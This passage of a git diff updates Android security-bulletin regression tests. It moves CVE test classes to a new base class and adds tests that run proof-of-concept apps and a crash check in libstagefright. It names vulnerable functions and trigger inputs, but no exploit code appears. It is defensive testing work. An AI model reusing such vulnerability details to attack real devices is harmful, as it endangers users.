diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0706.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0706.java
index fabaf89..9225b56 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0706.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0706.java
@@ -20,13 +20,13 @@
 import android.platform.test.annotations.AsbSecurityTest;
 import com.android.tradefed.device.ITestDevice;
 import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
-import com.android.sts.common.tradefed.testtype.StsExtraBusinessLogicHostTestBase;
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
 import org.junit.Before;
 import org.junit.runner.RunWith;
 import org.junit.Test;
 
 @RunWith(DeviceJUnit4ClassRunner.class)
-public class CVE_2021_0706 extends StsExtraBusinessLogicHostTestBase {
+public class CVE_2021_0706 extends NonRootSecurityTestCase {
 
     private static final String TEST_PKG = "android.security.cts.CVE_2021_0706";
     private static final String TEST_CLASS = TEST_PKG + "." + "DeviceTest";
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0919.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0919.java
index 3ae0303..5139425 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0919.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0919.java
@@ -18,13 +18,16 @@
 package android.security.cts;
 
 import android.platform.test.annotations.AsbSecurityTest;
+
 import com.android.compatibility.common.util.CrashUtils;
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
 import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
 import org.junit.Test;
 import org.junit.runner.RunWith;
 
 @RunWith(DeviceJUnit4ClassRunner.class)
-public class CVE_2021_0919 extends SecurityTestCase {
+public class CVE_2021_0919 extends NonRootSecurityTestCase {
 
     /**
      * b/197336441
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0921.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0921.java
index 760c265..94f3b97 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0921.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0921.java
@@ -20,7 +20,7 @@
 import android.util.Log;
 import android.platform.test.annotations.AsbSecurityTest;
 import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
-import com.android.sts.common.tradefed.testtype.StsExtraBusinessLogicHostTestBase;
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
 import com.android.tradefed.log.LogUtil.CLog;
 import org.junit.After;
 import org.junit.Assert;
@@ -30,7 +30,7 @@
 import static org.junit.Assert.*;
 
 @RunWith(DeviceJUnit4ClassRunner.class)
-public class CVE_2021_0921 extends StsExtraBusinessLogicHostTestBase {
+public class CVE_2021_0921 extends NonRootSecurityTestCase {
     private static final String TEST_PKG = "android.security.cts.CVE_2021_0921";
     private static final String TEST_CLASS = TEST_PKG + "." + "DeviceTest";
     private static final String TEST_APP = "CVE-2021-0921.apk";
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0925.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0925.java
index 6176589..b3c9717 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0925.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0925.java
@@ -15,14 +15,18 @@
  */
 
 package android.security.cts;
+
 import android.platform.test.annotations.AsbSecurityTest;
+
 import com.android.compatibility.common.util.CrashUtils;
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
 import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
 import org.junit.Test;
 import org.junit.runner.RunWith;
 
 @RunWith(DeviceJUnit4ClassRunner.class)
-public class CVE_2021_0925 extends SecurityTestCase {
+public class CVE_2021_0925 extends NonRootSecurityTestCase {
 
     /**
      * Vulnerability Behaviour: SIGSEGV in self
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0928.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0928.java
index cbf1088..d83f26a 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0928.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0928.java
@@ -23,7 +23,7 @@
 
 import com.android.tradefed.log.LogUtil.CLog;
 import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
-import com.android.sts.common.tradefed.testtype.StsExtraBusinessLogicHostTestBase;
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
 
 import org.junit.Assert;
 import org.junit.Before;
@@ -31,7 +31,7 @@
 import org.junit.runner.RunWith;
 
 @RunWith(DeviceJUnit4ClassRunner.class)
-public class CVE_2021_0928 extends StsExtraBusinessLogicHostTestBase {
+public class CVE_2021_0928 extends NonRootSecurityTestCase {
     private static final String TEST_PKG = "android.security.cts.CVE_2021_0928";
     private static final String TEST_CLASS = TEST_PKG + "." + "DeviceTest";
     private static final String TEST_APP = "CVE-2021-0928.apk";
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0953.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0953.java
index ecb6bdd..833b93a 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0953.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0953.java
@@ -19,13 +19,13 @@
 import android.platform.test.annotations.AsbSecurityTest;
 import com.android.tradefed.device.ITestDevice;
 import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
-import com.android.sts.common.tradefed.testtype.StsExtraBusinessLogicHostTestBase;
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
 
 import org.junit.Test;
 import org.junit.runner.RunWith;
 
 @RunWith(DeviceJUnit4ClassRunner.class)
-public class CVE_2021_0953 extends StsExtraBusinessLogicHostTestBase {
+public class CVE_2021_0953 extends NonRootSecurityTestCase {
 
     @AsbSecurityTest(cveBugId = 184046278)
     @Test
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0954.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0954.java
index 5532e46..847feef 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0954.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0954.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (C) 2021 The Android Open Source Project
+ * Copyright (C) 2022 The Android Open Source Project
  *
  * Licensed under the Apache License, Version 2.0 (the "License");
  * you may not use this file except in compliance with the License.
@@ -16,43 +16,39 @@
 
 package android.security.cts;
 
-import android.platform.test.annotations.AppModeFull;
+import static org.junit.Assume.assumeNoException;
+
 import android.platform.test.annotations.AsbSecurityTest;
 
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
 import com.android.tradefed.device.ITestDevice;
 import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
-import com.android.tradefed.testtype.junit4.BaseHostJUnit4Test;
 
-import org.junit.Assert;
-import org.junit.Before;
 import org.junit.Test;
 import org.junit.runner.RunWith;
 
 @RunWith(DeviceJUnit4ClassRunner.class)
-public class CVE_2021_0954 extends BaseHostJUnit4Test {
-    private static final String TEST_PKG = "android.security.cts.cve_2021_0954";
-    private static final String TEST_CLASS = TEST_PKG + "." + "DeviceTest";
-    private static final String TEST_APP = "CVE-2021-0954.apk";
-    private ITestDevice device;
+public class CVE_2021_0954 extends NonRootSecurityTestCase {
+    private static final String TEST_PKG = "android.security.cts.CVE_2021_0954";
 
-    @Before
-    public void setUp() throws Exception {
-        device = getDevice();
-        uninstallPackage(device, TEST_PKG);
-
-        /* Wake up the screen */
-        AdbUtils.runCommandLine("input keyevent KEYCODE_WAKEUP", device);
-        AdbUtils.runCommandLine("input keyevent KEYCODE_MENU", device);
-        AdbUtils.runCommandLine("input keyevent KEYCODE_HOME", device);
-    }
-
-    @AppModeFull
     @AsbSecurityTest(cveBugId = 143559931)
     @Test
     public void testPocCVE_2021_0954() throws Exception {
-        installPackage(TEST_APP);
-        AdbUtils.runCommandLine("pm grant " + TEST_PKG + " android.permission.SYSTEM_ALERT_WINDOW",
-                device);
-        runDeviceTests(TEST_PKG, TEST_CLASS, "testVulnerableActivityPresence");
+        try {
+            ITestDevice device = getDevice();
+            uninstallPackage(device, TEST_PKG);
+
+            /* Wake up the screen */
+            AdbUtils.runCommandLine("input keyevent KEYCODE_WAKEUP", device);
+            AdbUtils.runCommandLine("input keyevent KEYCODE_MENU", device);
+            AdbUtils.runCommandLine("input keyevent KEYCODE_HOME", device);
+
+            installPackage("CVE-2021-0954.apk");
+            AdbUtils.runCommandLine(
+                    "pm grant " + TEST_PKG + " android.permission.SYSTEM_ALERT_WINDOW", device);
+            runDeviceTests(TEST_PKG, TEST_PKG + "." + "DeviceTest", "testOverlayButtonPresence");
+        } catch (Exception e) {
+            assumeNoException(e);
+        }
     }
 }
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0956.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0956.java
index 80fa239..eddde21 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0956.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0956.java
@@ -17,14 +17,17 @@
 package android.security.cts;
 
 import android.platform.test.annotations.AsbSecurityTest;
+
 import com.android.compatibility.common.util.CrashUtils;
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
 import com.android.tradefed.device.ITestDevice;
 import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
 import org.junit.Test;
 import org.junit.runner.RunWith;
 
 @RunWith(DeviceJUnit4ClassRunner.class)
-public class CVE_2021_0956 extends SecurityTestCase {
+public class CVE_2021_0956 extends NonRootSecurityTestCase {
 
     /**
      * b/189942532
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0965.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0965.java
index 65934f2..b7b0e2b 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0965.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0965.java
@@ -21,7 +21,7 @@
 import android.platform.test.annotations.AsbSecurityTest;
 
 import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
-import com.android.sts.common.tradefed.testtype.StsExtraBusinessLogicHostTestBase;
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
 
 import org.junit.Assert;
 import org.junit.Before;
@@ -29,7 +29,7 @@
 import org.junit.runner.RunWith;
 
 @RunWith(DeviceJUnit4ClassRunner.class)
-public class CVE_2021_0965 extends StsExtraBusinessLogicHostTestBase {
+public class CVE_2021_0965 extends NonRootSecurityTestCase {
     private static final String TEST_PKG = "android.security.cts.CVE_2021_0965";
     private static final String TEST_CLASS = TEST_PKG + "." + "DeviceTest";
     private static final String TEST_APP = "CVE-2021-0965.apk";
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_1906.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_1906.java
index bfa056b..9a56b0c 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_1906.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_1906.java
@@ -19,12 +19,15 @@
 import static org.junit.Assume.*;
 
 import android.platform.test.annotations.AsbSecurityTest;
+
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
 import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
 import org.junit.Test;
 import org.junit.runner.RunWith;
 
 @RunWith(DeviceJUnit4ClassRunner.class)
-public class CVE_2021_1906 extends SecurityTestCase {
+public class CVE_2021_1906 extends NonRootSecurityTestCase {
 
     /**
      * CVE-2021-1906
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_30351.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_30351.java
index 415e2b1..7b4712f 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_30351.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_30351.java
@@ -15,15 +15,17 @@
  */
 package android.security.cts;
 
-import android.platform.test.annotations.SecurityTest;
-import com.android.tradefed.device.ITestDevice;
-import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
-import org.junit.Test;
-import org.junit.runner.RunWith;
 import android.platform.test.annotations.AsbSecurityTest;
 
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
+import com.android.tradefed.device.ITestDevice;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
 @RunWith(DeviceJUnit4ClassRunner.class)
-public class CVE_2021_30351 extends SecurityTestCase {
+public class CVE_2021_30351 extends NonRootSecurityTestCase {
 
     /**
      * CVE-2021-30351
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39623.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39623.java
new file mode 100644
index 0000000..aaaa502
--- /dev/null
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39623.java
@@ -0,0 +1,56 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import android.platform.test.annotations.AsbSecurityTest;
+
+import com.android.compatibility.common.util.CrashUtils;
+import com.android.compatibility.common.util.CrashUtils.Config.BacktraceFilterPattern;
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.util.Arrays;
+
+@RunWith(DeviceJUnit4ClassRunner.class)
+public class CVE_2021_39623 extends NonRootSecurityTestCase {
+
+    /**
+     * b/194105348
+     * Vulnerability Behaviour: SIGSEGV in self
+     * Vulnerable Library: libstagefright (As per AOSP code)
+     * Vulnerable Function: doRead (As per AOSP code)
+     */
+    @AsbSecurityTest(cveBugId = 194105348)
+    @Test
+    public void testPocCVE_2021_39623() throws Exception {
+        String binaryName = "CVE-2021-39623";
+        AdbUtils.pocConfig testConfig = new AdbUtils.pocConfig(binaryName, getDevice());
+        testConfig.config = new CrashUtils.Config().setProcessPatterns(binaryName)
+                .setBacktraceIncludes(new BacktraceFilterPattern("libstagefright",
+                        "android::SimpleDecodingSource::doRead"));
+        String signals[] = {CrashUtils.SIGSEGV};
+        testConfig.config.setSignals(signals);
+        testConfig.inputFilesDestination = AdbUtils.TMP_PATH;
+        String inputFiles[] = {"cve_2021_39623.ogg"};
+        testConfig.inputFiles = Arrays.asList(inputFiles);
+        testConfig.arguments = AdbUtils.TMP_PATH + inputFiles[0];
+        AdbUtils.runPocAssertNoCrashesNotVulnerable(testConfig);
+    }
+}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39626.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39626.java
index 3b12ce5..c47ebf1 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39626.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39626.java
@@ -18,7 +18,7 @@
 
 import android.platform.test.annotations.AsbSecurityTest;
 
-import com.android.sts.common.tradefed.testtype.StsExtraBusinessLogicHostTestBase;
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
 import com.android.tradefed.device.ITestDevice;
 import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
 
@@ -26,7 +26,7 @@
 import org.junit.Test;
 
 @RunWith(DeviceJUnit4ClassRunner.class)
-public class CVE_2021_39626 extends StsExtraBusinessLogicHostTestBase {
+public class CVE_2021_39626 extends NonRootSecurityTestCase {
     static final String TEST_APP = "CVE-2021-39626.apk";
     static final String TEST_PKG = "android.security.cts.CVE_2021_39626";
     static final String TEST_CLASS = TEST_PKG + "." + "DeviceTest";
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39664.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39664.java
index 6cac004..29de04e 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39664.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39664.java
@@ -20,16 +20,17 @@
 
 import com.android.compatibility.common.util.CrashUtils;
 import com.android.compatibility.common.util.CrashUtils.Config.BacktraceFilterPattern;
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
 import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
 
-import org.junit.runner.RunWith;
 import org.junit.Test;
+import org.junit.runner.RunWith;
 
 import java.util.Arrays;
 import java.util.regex.Pattern;
 
 @RunWith(DeviceJUnit4ClassRunner.class)
-public class CVE_2021_39664 extends SecurityTestCase {
+public class CVE_2021_39664 extends NonRootSecurityTestCase {
 
     /**
      * b/203938029
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39665.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39665.java
index 311b5ce..79e3d0f 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39665.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39665.java
@@ -20,6 +20,7 @@
 
 import com.android.compatibility.common.util.CrashUtils;
 import com.android.compatibility.common.util.CrashUtils.Config.BacktraceFilterPattern;
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
 import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
 
 import org.junit.Test;
@@ -28,7 +29,7 @@
 import java.util.regex.Pattern;
 
 @RunWith(DeviceJUnit4ClassRunner.class)
-public class CVE_2021_39665 extends SecurityTestCase {
+public class CVE_2021_39665 extends NonRootSecurityTestCase {
 
     /**
      * b/204077881
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39675.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39675.java
index 8f12b52..eb2c5ab 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39675.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39675.java
@@ -18,13 +18,14 @@
 
 import android.platform.test.annotations.AsbSecurityTest;
 
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
 import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
 
-import org.junit.runner.RunWith;
 import org.junit.Test;
+import org.junit.runner.RunWith;
 
 @RunWith(DeviceJUnit4ClassRunner.class)
-public class CVE_2021_39675 extends SecurityTestCase {
+public class CVE_2021_39675 extends NonRootSecurityTestCase {
 
     /**
      * b/205729183
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39692.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39692.java
index 444f1a5..f755142 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39692.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39692.java
@@ -23,13 +23,13 @@
 
 import com.android.tradefed.device.ITestDevice;
 import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
-import com.android.sts.common.tradefed.testtype.StsExtraBusinessLogicHostTestBase;
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
 
 import org.junit.Test;
 import org.junit.runner.RunWith;
 
 @RunWith(DeviceJUnit4ClassRunner.class)
-public class CVE_2021_39692 extends StsExtraBusinessLogicHostTestBase {
+public class CVE_2021_39692 extends NonRootSecurityTestCase {
 
     @AppModeFull
     @AsbSecurityTest(cveBugId = 209611539)
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39700.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39700.java
index acc6a2e..63235ec 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39700.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39700.java
@@ -23,7 +23,7 @@
 
 import com.android.tradefed.device.ITestDevice;
 import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
-import com.android.sts.common.tradefed.testtype.StsExtraBusinessLogicHostTestBase;
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
 
 import org.junit.Test;
 import org.junit.runner.RunWith;
@@ -31,7 +31,7 @@
 import java.io.File;
 
 @RunWith(DeviceJUnit4ClassRunner.class)
-public class CVE_2021_39700 extends StsExtraBusinessLogicHostTestBase {
+public class CVE_2021_39700 extends NonRootSecurityTestCase {
 
     /**
      * b/201645790
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39701.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39701.java
index f8d6fe6..5e78a90 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39701.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39701.java
@@ -18,7 +18,7 @@
 
 import android.platform.test.annotations.AsbSecurityTest;
 
-import com.android.sts.common.tradefed.testtype.StsExtraBusinessLogicHostTestBase;
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
 import com.android.tradefed.device.ITestDevice;
 import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
 
@@ -26,7 +26,7 @@
 import org.junit.runner.RunWith;
 
 @RunWith(DeviceJUnit4ClassRunner.class)
-public class CVE_2021_39701 extends StsExtraBusinessLogicHostTestBase {
+public class CVE_2021_39701 extends NonRootSecurityTestCase {
 
     @AsbSecurityTest(cveBugId = 212286849)
     @Test
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39702.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39702.java
index cf8a688..cf5d47c 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39702.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39702.java
@@ -21,14 +21,14 @@
 
 import com.android.tradefed.device.ITestDevice;
 import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
-import com.android.sts.common.tradefed.testtype.StsExtraBusinessLogicHostTestBase;
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
 
 import org.junit.Assert;
 import org.junit.Test;
 import org.junit.runner.RunWith;
 
 @RunWith(DeviceJUnit4ClassRunner.class)
-public class CVE_2021_39702 extends StsExtraBusinessLogicHostTestBase {
+public class CVE_2021_39702 extends NonRootSecurityTestCase {
     private static final String TEST_PKG = "android.security.cts.CVE_2021_39702";
     private static final String TEST_CLASS = TEST_PKG + "." + "DeviceTest";
     private static final String TEST_APP = "CVE-2021-39702.apk";
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39704.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39704.java
new file mode 100644
index 0000000..9aebd15
--- /dev/null
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39704.java
@@ -0,0 +1,57 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import static org.junit.Assume.assumeNoException;
+
+import android.platform.test.annotations.AsbSecurityTest;
+
+import com.android.tradefed.device.ITestDevice;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@RunWith(DeviceJUnit4ClassRunner.class)
+public class CVE_2021_39704 extends NonRootSecurityTestCase {
+
+    @AsbSecurityTest(cveBugId = 209965481)
+    @Test
+    public void testPocCVE_2021_39704() {
+        try {
+            final String testPkg = "android.security.cts.CVE_2021_39704";
+
+            ITestDevice device = getDevice();
+
+            AdbUtils.runCommandLine("input keyevent KEYCODE_WAKEUP", device);
+            AdbUtils.runCommandLine("input keyevent KEYCODE_MENU", device);
+            AdbUtils.runCommandLine("input keyevent KEYCODE_HOME", device);
+
+            installPackage("CVE-2021-39704.apk");
+            AdbUtils.runCommandLine(
+                    "pm revoke " + "android.security.cts.CVE_2021_39704 "
+                            + "android.permission.ACCESS_COARSE_LOCATION",
+                    device);
+
+            runDeviceTests(testPkg, testPkg + "." + "DeviceTest",
+                    "testdeleteNotificationChannelGroup");
+        } catch (Exception e) {
+            assumeNoException(e);
+        }
+    }
+}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39706.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39706.java
index cd8afef..ecf096f 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39706.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39706.java
@@ -21,7 +21,7 @@
 
 import android.platform.test.annotations.AsbSecurityTest;
 
-import com.android.sts.common.tradefed.testtype.StsExtraBusinessLogicHostTestBase;
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
 import com.android.tradefed.device.ITestDevice;
 import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
 
@@ -29,7 +29,7 @@
 import org.junit.runner.RunWith;
 
 @RunWith(DeviceJUnit4ClassRunner.class)
-public class CVE_2021_39706 extends StsExtraBusinessLogicHostTestBase {
+public class CVE_2021_39706 extends NonRootSecurityTestCase {
 
     @AsbSecurityTest(cveBugId = 200164168)
     @Test
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39707.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39707.java
new file mode 100644
index 0000000..e40cea6
--- /dev/null
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39707.java
@@ -0,0 +1,74 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import static org.junit.Assume.assumeNoException;
+import static org.junit.Assume.assumeTrue;
+
+import android.platform.test.annotations.AsbSecurityTest;
+
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
+import com.android.tradefed.device.ITestDevice;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@RunWith(DeviceJUnit4ClassRunner.class)
+public class CVE_2021_39707 extends NonRootSecurityTestCase {
+
+    @AsbSecurityTest(cveBugId = 200688991)
+    @Test
+    public void testPocCVE_2021_39707() {
+        ITestDevice device = getDevice();
+        final String testPkg = "android.security.cts.CVE_2021_39707";
+        int userId = -1;
+        try {
+            // Wake up the screen
+            AdbUtils.runCommandLine("input keyevent KEYCODE_WAKEUP", device);
+            AdbUtils.runCommandLine("input keyevent KEYCODE_MENU", device);
+            AdbUtils.runCommandLine("input keyevent KEYCODE_HOME", device);
+
+            // Create restricted user
+            String commandOutput = AdbUtils.runCommandLine(
+                    "pm create-user --restricted CVE_2021_39707_RestrictedUser", device);
+
+            // Extract user id of the restricted user
+            String[] tokens = commandOutput.split("\\s+");
+            assumeTrue(tokens.length > 0);
+            assumeTrue(tokens[0].equals("Success:"));
+            userId = Integer.parseInt(tokens[tokens.length - 1]);
+
+            // Install PoC application
+            installPackage("CVE-2021-39707.apk");
+            runDeviceTests(testPkg, testPkg + ".DeviceTest", "testAppRestrictionsFragment");
+        } catch (Exception e) {
+            assumeNoException(e);
+        } finally {
+            try {
+                // Back to home screen after test
+                AdbUtils.runCommandLine("input keyevent KEYCODE_HOME", device);
+                if (userId != -1) {
+                    // Remove restricted user
+                    AdbUtils.runCommandLine("pm remove-user " + userId, device);
+                }
+            } catch (Exception e) {
+                // ignore all exceptions
+            }
+        }
+    }
+}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39794.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39794.java
index 0ae1efa..d67b4e6 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39794.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39794.java
@@ -18,7 +18,7 @@
 
 import android.platform.test.annotations.AsbSecurityTest;
 
-import com.android.sts.common.tradefed.testtype.StsExtraBusinessLogicHostTestBase;
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
 import com.android.tradefed.device.ITestDevice;
 import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
 
@@ -27,7 +27,7 @@
 import org.junit.runner.RunWith;
 
 @RunWith(DeviceJUnit4ClassRunner.class)
